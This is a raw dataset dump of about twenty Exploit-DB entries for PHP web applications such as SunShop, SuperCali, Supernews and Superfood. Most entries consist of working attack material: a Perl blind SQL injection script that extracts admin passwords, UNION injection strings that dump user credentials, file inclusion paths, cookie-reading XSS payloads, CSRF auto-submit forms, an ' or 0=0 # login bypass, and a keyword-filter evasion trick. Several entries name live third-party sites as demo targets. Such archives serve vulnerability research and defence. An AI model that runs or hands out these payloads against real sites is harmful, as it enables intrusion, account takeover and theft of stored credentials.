deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29961
Description: SunShop Shopping Cart 4.0 - 'index.php?l' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-07
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/23856/info
 
TurnkeyWebTools SunShop Shopping Cart is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, bypass the authentication mechanism, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
SunShop Shopping Cart v4 is reported vulnerable; other versions may also be affected. 

<form action="http://demos.turnkeywebtools.com/ss4/index.php" method="post">
<input name="l" size=75 value="<script %0a%0d>alert(1);</script>">
<input name="remove[0]" type="hidden" value="off">
<input name="quantity[0:49]" type="hidden" value="1">
<input name="remove[1]" type="hidden" value="off">
<input name="quantity[1:50]" type="hidden" value="1">
<input name="remove[2]" type="hidden" value="off">
<input name="quantity[2:55]" type="hidden" value="1">
<input name="remove[3]" type="hidden" value="off">
<input name="quantity[3:42]" type="hidden" value="1">
<input name="remove[4]" type="hidden" value="off">
<input name="quantity[4:51]" type="hidden" value="1">
<input name="coupon" type="hidden" value="email@address.com">
<input type=submit value="Execute Attack on variable 'l' in index.php" class="button">
</form>
Exploit-DB #4313
Description: SunShop Shopping Cart 4.0 RC 6 - 'Search' Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-08-25
Author: k1tk4t

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
 print "\n                         \\#'#/                      ";
 print "\n                         (-.-)                       ";
 print "\n   -----------------oOO---(_)---OOo------------------";
 print "\n   | SunShop v4.0 RC 6 (search) Blind SQL Injection |";
 print "\n   |      k1tk4t - Indonesia - newhack[dot]org      |";
 print "\n   |      coded by DNX [dnx(at)hackermail.com]      |";
 print "\n   --------------------------------------------------";
 print "\n[!] Vendor: http://www.turnkeywebtools.com";
 print "\n[!] Bug: in the search script, u can inject sql code in the s[cid] parameter";
 print "\n[!] Solution: install v4.0.1";
 print "\n[!] Usage: perl sunshop.pl [Host] [Path] <Options>";
 print "\n[!] Example: perl sunshop.pl 127.0.0.1 /shop/ -i 1 -c 10 -o 1 -t ss_admins";
 print "\n[!] Options:";
 print "\n       -i [no]       Valid User-ID, default is 1";
 print "\n       -c [no]       Valid Category-ID with products, default is 1";
 print "\n       -o [no]       1 = get username (default)";
 print "\n                     2 = get password";
 print "\n       -t [name]     Changes the admin table name, default is admins";
 print "\n       -p [ip:port]  Proxy support";
 print "\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $user    = 1;
my $cat     = 1;
my $column  = "username";
my $table   = "admins";
my %options = ();
GetOptions(\%options, "i=i", "c=i", "o=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"i"}) { $user = $options{"i"}; }
if($options{"c"}) { $cat = $options{"c"}; }
if($options{"o"} && $options{"o"} == 2) { $column = "password"; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "data:", 5);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found && $h <= 57)
 {
   if(istrue2($host, $path, $table, $user, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found && $h <= 122)
   {
     if(istrue2($host, $path, $table, $user, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[!] Exploit done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $uid   = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = "http://".$host.$path."index.php?l=search_list&s[title]=Y&s[short_desc]=Y&s[full_desc]=Y&s[cid]=".$cat.")%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20WHERE%20id=".$uid."),".$i.",1)=CHAR(".$h.")/*";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = "Add To Cart";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}
# milw0rm.com [2007-08-25]
Exploit-DB #3771
Description: Supasite 1.23b - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-04-21
Author: GoLd_M

Exploit:
# Supasite v1.23b <= Multiple Remote File Include Vulnerablitiy
# D.Script: http://belnet.dl.sourceforge.net/sourceforge/supasite/supasite1.23b.tar.gz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/supasite/common_functions.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_auth_cookies.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_mods.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_news.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_settings.php?supa[include_path]=Shell
# Exploit:[Path]/supasite/admin_topics.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_users.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_utilities.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/backend_site.php?supa[include_path]=Shell
# Exploit:[Path]/supasite/site_comment.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/site_news.php?supa[db_path]=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group

# milw0rm.com [2007-04-21]
Exploit-DB #45463
Description: Super Cms Blog Pro 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Super Cms Blog Pro 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: http://coolscript.cf/
# Software Link: https://www.codegrape.com/item/super-cms-blog-pro/22250
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17391
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/authors_post.php?author=[SQL]&p_id=1
# 
# '++/*!11111UNION*/+/*!11111SELECT*/+0x31,0x32,/*!11111CONCAT_WS*/(0x203a20,VERSION()),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131--+-
#  
# # # #
Exploit-DB #9270
Description: Super Mod System 3.0 - 's' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-27
Author: MizoZ

Exploit:
----------------------------------------------------------------------------------------------------
  Name : Super Mod System 3.1 5
  Site : http://www.classified-software.co.uk/
  Demo : http://www.classified-software.co.uk/super-mod-system-v3/

----------------------------------------------------------------------------------------------------
 
  Found By : MizoZ [EvilWay Team]
  Made in  : Morocco
  Contact  : mizoz[at]9[dot]cn
  Greetz   : Moudi , Zuka , optix , All friends
  Website : BlackArea.org (Coming Soon)
----------------------------------------------------------------------------------------------------

SQL Injection popup.php (GET : sb_id) :
[HOST]/[PATH]/index.php?s=[SQL CODE]

SQL CODE : -6+union+select+1,2,3,4,5--

Live Exemples :
http://www.classified-software.co.uk/super-mod-system-v3/index.php?s=3+and+1=0+union+all+select+1,2,3,4,5--
http://www.thepharmaclassifieds.com/index.php?s=-6+union+select+1,2,3,4,5--

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-27]
Exploit-DB #9180
Description: Super Simple Blog Script 2.5.4 - 'entry' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-17
Author: JIKO

Exploit:
----------[exploit Debut]
[Remote SQL Injection Vulnerability]
----------[Script Info]

Moi	: JIKO
Site	: No-exploit.Com
Email	: mm  :(  Moghla9 Ferme Closed

----------[Script Info]

Site:http	: http://www.supersimple.org/
Download	: http://supersimple.org/downloads/SuperSimpleBlogScriptV2_5_4.zip

----------[exploit Info]

1]~[Sql]
http://localhost/Path/comments.php?entry=-122222 union select 0,concat(0x223E,version(),0x3A,user())--
----------[exploit Fin]

# milw0rm.com [2009-07-17]
Exploit-DB #9179
Description: Super Simple Blog Script 2.5.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-07-17
Author: JIKO

Exploit:
----------[exploit Debut]
[ Local File Inclusion Vulnerability]
----------[Script Info]

Moi	: JIKO
Site	: No-exploit.Com
Email	: mm :( Moghla9 Ferme Closed

----------[Script Info]

Site:http	: http://www.supersimple.org/
Download	: http://supersimple.org/downloads/SuperSimpleBlogScriptV2_5_4.zip

----------[exploit Info]

1]~[LFI]
http://localhost/Path/comments.php?submit=JIKO&entry=[EV!L]
----------[exploit Fin]

# milw0rm.com [2009-07-17]
Exploit-DB #51534
Description: Super Socializer 7.13.52 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-06-20
Author: Amirhossein Bahramizadeh

Exploit:
# Exploit Title: Super Socializer 7.13.52 - Reflected XSS
# Dork: inurl: https://example.com/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[%3Cimg%20src%3Dx%20onerror%3Dalert%28document%2Edomain%29%3E]=https://www.google.com
# Date: 2023-06-20
# Exploit Author: Amirhossein Bahramizadeh
# Category : Webapps
# Vendor Homepage: https://wordpress.org/plugins/super-socializer
# Version: 7.13.52 (REQUIRED)
# Tested on: Windows/Linux
# CVE : CVE-2023-2779
import requests

# The URL of the vulnerable AJAX endpoint
url = "https://example.com/wp-admin/admin-ajax.php"

# The vulnerable parameter that is not properly sanitized and escaped
vulnerable_param = "<img src=x onerror=alert(document.domain)>"

# The payload that exploits the vulnerability
payload = {"action": "the_champ_sharing_count", "urls[" + vulnerable_param + "]": "https://www.google.com"}

# Send a POST request to the vulnerable endpoint with the payload
response = requests.post(url, data=payload)

# Check if the payload was executed by searching for the injected script tag
if "<img src=x onerror=alert(document.domain)>" in response.text:
    print("Vulnerability successfully exploited")
else:
    print("Vulnerability not exploitable")
Exploit-DB #8874
Description: SuperCali PHP Event Calendar - Arbitrary Change Admin Password
Type: webapps
Platform: php
Date: 2009-06-04
Author: TiGeR-Dz

Exploit:
  ---------------------------------------------------------------
SuperCali PHP Event Calendar Arbitrary Change Admin Password Exploit
 ---------------------------------------------------------------
 Founder :TiGeR-Dz
 Home:http://www.h4ckf0ru.com
 Script:SuperCali PHP Event Calendar
 Download:http://supercali.inforest.com/demo.php
 Note:in sha alahe nantaser ala mesre wa na ta ahal ila kaas alalame :) 
 ---------------------------------------------------------------
 Exploit
 -------
 www.site.com/calendar/login.php

 go to change password :)

 www.site.com/calendar/user_profile.php
 ----------------------------------------------------------------
 Dem0
 ---------
 http://supercali.inforest.com/demo_calendar/login.php

 Go to change password :)

 http://supercali.inforest.com/demo_calendar/user_profile.php

  test:
  --------
  
  http://www.eugeneastro.org/calendar/login.php
  
  Go to change password :)

  http://www.eugeneastro.org/calendar/user_profile.php

--------------------------------------

 Greeting To ALL My Friends (Dz)
 ------------------------------------------

# milw0rm.com [2009-06-04]
Exploit-DB #4141
Description: SuperCali PHP Event Calendar 0.4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2007-07-03
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    SuperCali Event Calendar SQL Injection Vulnerbility             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://supercali.inforest.com/
DORK: allintext:"SuperCali Event Calendar"


DESCRIPTION: 
Pull out members info from the database.


EXPLOITS:
http://www.server.com/index.php?o=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(email,0x3a,password),4,5,0x677269642E706870/**/from/**/users/*

NOTE/TIP: 
normally the first result is admin info, click the upper right link labeled 'manage calender'
to login as admin


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+		    SuperCali Event Calendar SQL Injection Vulnerbility             +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-03]
Exploit-DB #44639
Description: SuperCom Online Shopping Ecommerce Cart 1 - Persistent Cross-Site scripting / Cross site request forgery / Authentication bypass
Type: webapps
Platform: php
Date: 2018-05-17
Author: L0RD

Exploit:
# Exploit Title: SuperCom Online Shopping Ecommerce Cart 1 - Persistent Cross-Site scripting / Cross site request forgery / Authentication bypass
# Date: 2018-05-17
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/supercom-online-shopping-ecommerce-cart/17085987?s_rank=1442
# Version: 1
# Tested on: Kali linux

# Description: SuperCom - Online Shopping Ecommerce Cart 1 suffers from multiple vulnerabilities :
# POC 1 : Persistent cross site scripting :

1) After creating an account , go to your profile.
2) Navigate to "Update profile" and put this payload :
"/><script>alert(document.cookie)</script>
3) You will get an alert box in the page .

# POC 2 : CSRF : Attacker can change user's authentication directly :

<html>
<head>
    <title>CSRF POC</title>
</head>
<body>
    <form action="http://ecommerce.thesoftking.com/updateprofile"
method="post">
        <input type="hidden" name="name" value="anything">
        <input type="hidden" name="mobile" value="[PII_REDACTED]">
        <input type="hidden" name="address" value="anything">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

# POC 3 : Authentication bypass :
Path : /admin
Username : ' or 0=0 #
[CREDENTIAL_REDACTED]
Exploit-DB #11456
Description: superengine CMS (Custom Pack) - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-15
Author: 10n1z3d

Exploit:
  _______  _|__|  | ____________   ____   ____  
_/ __ \  \/ /  |  | \___   /  _ \ /    \_/ __ \ 
\  ___/\   /|  |  |__/    (  <_> )   |  \  ___/ 
 \___  >\_/ |__|____/_____ \____/|___|  /\___  >
     \/                   \/          \/     \/ .org
    

Author: 10n1z3d <10n1z3d[at]w[dot]cn>    
Date: 15/02/2010
---------------------------------------------------------
superengine CMS (Custom Pack) SQL Injection Vulnerability
---------------------------------------------------------
Vendor: http://superengine.ro/
Vuln:
  http://[server]/index.php?mod=0&id=1[SQLI]

PoC:    
  http://[server]/index.php?mod=0&id=-1337+UNION+ALL+SELECT+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6
---------------------------------------------------------
Greetz to all evilzone.org members.
Exploit-DB #44661
Description: Superfood 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2018-05-21
Author: L0RD

Exploit:
# Exploit Title:  Superfood - Restaurants & Online Food Order System  1.0 - Persistent cross site scripting / Cross site request forgery / Admin panel Authentication bypass
# Date: 2018-05-20
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://codecanyon.net/item/superfood-restaurants-online-food-order-system/16855836?s_rank=30
# Version: 1.0
# Tested on: Kali linux
====================================================
# Description:
Superfood - Restaurants & Online Food Order System 1.0 suffers from multiple vulnerabilities :
====================================================
# POC 1 : Persistent cross site scripting :
1) After creating an account , go to your profile.
2) Navigate to "Update profile" and put this payload :
"/><script>alert('xss')</script>
3) You will have an alert box in the page .
====================================================
# POC 2 : CSRF :
Attacker can change user's authentication directly :
# User's CSRF exploit :
<html>
<head>
    <title>CSRF POC</title>
</head>
<body>
    <form action="http://restaurant.thesoftking.com/updateprofile"
method="post">
        <input type="hidden" name="name" value="anything">
        <input type="hidden" name="mobile" value="[PII_REDACTED]">
        <input type="hidden" name="address" value="anything">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

# Admin page CSRF exploit :

<form action="http://restaurant.thesoftking.com/admin/setgeneral.php"
method="post">
        <input name="name" value="exploit" type="hidden">
        <input name="wcmsg" value="test" type="hidden">
        <input name="address" value="test2" type="hidden">
        <input name="mobile" value="1000000" type="hidden">
        <input name="email" value="test@test.com" type="hidden">
        <input name="currency" value="decode" type="hidden">
</form>
    <script>
         document.forms[0].submit();
    </script>
====================================================
# POC 3 : Authentication bypass :
# Attacker can bypass admin panel without any authentication :
Path : /admin
Username : ' or 0=0 #
[CREDENTIAL_REDACTED]
====================================================
Exploit-DB #10923
Description: superlink script 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-02
Author: Red-D3v1L

Exploit:
+===================================================================================+
            ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _           
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ / 
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_0_9 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+===================================================================================+

        [?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
        [?] SuperLink Script <== 1.0 (id) SQL Injection Vulnerability
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] Script:               [ SuperLink Script 1.0 ]
    [?] Language:             [ PHP ]
    [?] Vendor                [http://superlink.ps ]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] Fuck To :             [ Zombie_KsA << big big big L4m3r ] 
########################################################################
  
===[ Exploit SQL ]===
  
[»]SQL : http://server/[Path]/more-news.php?id=[inj3ct C0dE]
 
[»]dem0:

http://server/IT/more-news.php?id=-16/**/union/**/select/**/1,concat%28user,0x3e,pass%29,3,4,5,6,7,8+from+users
 

==============================================================================

#sEc-r1z.com Str1kEz y0u !
Exploit-DB #8255
Description: Supernews 1.5 - 'valor.php?noticia' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-23
Author: p3s0k!

Exploit:
#############################################################
SuperNews 1.5 SQL Injection in valor.php
#############################################################


###################################################
#[~] Author :  p3s0k!
#[~] Terminal Hacker Team
###################################################

Example:
http://www.avhsj.com.br/noticias/valor.php?noticia=[SQL-Injection]


LiveDEMO:

http://www.avhsj.com.br/noticias/valor.php?noticia=-1+union+select+0,1,2,database(),4,5--
http://www.avhsj.com.br/noticias/valor.php?noticia=-1+union+select+0,1,2,user,pass,5+from+login--



##############################
#[!] Terminal Hacker Defacers
#[!] www.TerminalHacker.es
##############################

# milw0rm.com [2009-03-23]
Exploit-DB #8869
Description: Supernews 2.6 - 'index.php?noticia' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-03
Author: DD3str0y3r

Exploit:
###############################################################
	Supernews 2.6 SQL Injection Vulnability
###############################################################

Download: http://phpbrasil.com/script-download/vT0FaOCySSH/5817

###############################################################
	Discovered by Observing and DD3str0y3r
	   [Collaps3 CREW] - Made In Brazil
###############################################################

Dork: Supernews 2.6

#######################################################################################################################################

Example:
http://wwww.site.com/path/news_any_id=12+union+select+1,2,3,4,5,concat_ws(0x3a,user,pass),7,8+from+supernews_login--

#######################################################################################################################################

gr33tz: W4n73d, M4v3RiCk, 0xpoint, Ferror, Red Eye, Lady_lara and all my friends

# milw0rm.com [2009-06-03]
Exploit-DB #18961
Description: Supernews 2.6.1 - 'noticias.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2012-05-31
Author: Yakir Wizman

Exploit:
##########################################################################
## Supernews <= 2.6.1 (noticias.php cat) Remote SQL Injection
## Google Dork: intext:"2003 - 2004 : SuperNews : Todos os direitos reservados"
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## Date: 31/05/2012
## Version: 2.6.1
## Software Link: http://phpbrasil.com/script/vT0FaOCySSH/supernews
## ISRAEL
##########################################################################
##          Author will be not responsible for any damage.
##########################################################################
## Vulnerable Code - noticias.php [30-31]:
30.	$idcategoria = formatDados($_GET['cat']);
31.	$query = mysql_query("SELECT id, categoria FROM {$prefixdb}notcategorias WHERE id=$idcategoria ORDER BY categoria");

## NOTE:
## As you can see there is filter to variable $idcategoria.

## Function code - funcao.php [106-112]:
106.function formatDados($data) { 
107.	$data = strip_tags($data);
108.	$data = trim($data);
109.	$data = get_magic_quotes_gpc() == 0 ? addslashes($data) : $data;
110.	$data = preg_replace("@(--|\#|\*|;|select|union|drop|insert|delete|xp_|\=| or |-shutdown|update| and |&|')@s", "", $data);
111.	return $data;
112.}

## As you can see, this function can be bypassed easily by the following example:
# string 'uniunionon' will replace to clean 'union'
# string 'seleselectct' will replace to clean 'select'

## SQL Injection PoC:
## http://www.example.com/noticias.php?cat=-1+uniunionon+seleselectct+1,version()--
##########################################################################
# Cya :)
# 0x31337.net
##########################################################################